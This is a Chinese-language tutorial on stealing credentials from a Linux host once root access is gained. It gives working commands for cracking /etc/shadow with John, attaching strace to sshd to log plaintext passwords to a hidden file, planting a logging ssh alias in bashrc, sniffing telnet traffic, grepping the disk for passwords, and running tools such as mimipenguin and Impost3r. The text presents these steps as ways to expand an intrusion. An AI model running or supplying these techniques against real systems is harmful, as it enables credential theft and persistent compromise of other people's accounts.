當獲得一台主機的root權限,我們總是會想辦法通過收集各種密碼憑證,以便繼續擴大戰果。Linux下的環境,相對比更純粹一些,介紹幾個比較常見的技巧和工具。
關鍵詞:憑證竊取、口令收集、密碼抓取、密碼嗅探
01、history記錄敏感操作
Linux系統會自動把用戶的操作命令記錄到歷史列表中,當用戶在命令行中輸入賬號、密碼進行登錄時,將會導致敏感信息泄露。
02、shadow文件破解
shadow用於存儲 Linux 系統中用戶的密碼信息,以一個用例來說明:
root:$1$aXmGMjXX$MGrR.Hquwr7UVMwOGOzJV0::0:99999:7:::
密碼域密文由三部分組成,即:salt$encrypted。當id=1,采用md5進行加密,弱口令容易被破解。
當id為5時,采用SHA256進行加密,id為6時,采用SHA512進行加密,可以通過john進行暴力破解。
wget https://www.openwall.com/john/k/john-1.9.0.tar.gz
tar -zxvf john-1.9.0.tar.gz
make clean linux-x86-64
./john /etc/shadow
03、mimipenguin抓取密碼
一款Linux下的密碼抓取神器,需要root權限運行,通過轉儲進程並提取很可能包含明文密碼的行來利用內存中的明文憑證,目前支持Kali、Ubnutu等操作系統。
Github地址:
https://github.com/huntergregal/mimipenguin
04、使用Strace收集登錄憑證
strace是一個動態跟蹤工具,堪比鍵盤記錄器的存在,可用來收集登錄憑證。
(1)獲取sshd進程明文密碼
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
使用正在來匹配用戶和密碼
# 查找用戶名和密碼
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log
# 結果形式如下
[pid 2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9
[pid 2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27
[pid 2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9
(2)收集ssh登陸憑證
# 添加命令別名
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
# 使命令別名立即生效
source ~/.bashrc
通過grep 找到匹配行的后8行,可以根據密碼長度調整行數
grep -A 9 'password' .ssh-25Sep091601017212.log
05、tcpdump 抓包分析
抓取數據包進行分析,獲取明文賬號密碼,比如ftp、telnet、http。
tcpdump -i ens33 port 23 -w test.cap
06、全盤搜索敏感信息
全局搜索配置文件、腳本、數據庫、日志文件是否有包含密碼。
grep -rn "password=" /
07、swap_digger
一個用於自動進行Linux交換分析bash腳本,自動進行交換提取,並搜索Linux用戶憑據,Web表單憑據,Web表單電子郵件,HTTP基本身份驗證,WiFi SSID和密鑰等。
github項目收集:
https://github.com/sevagas/swap_digger
08、Impost3r
一個利用C語言編寫,用來竊取linux下各類密碼(ssh,su,sudo)的工具。
github項目收集:
https://github.com/ph4ntonn/Impost3r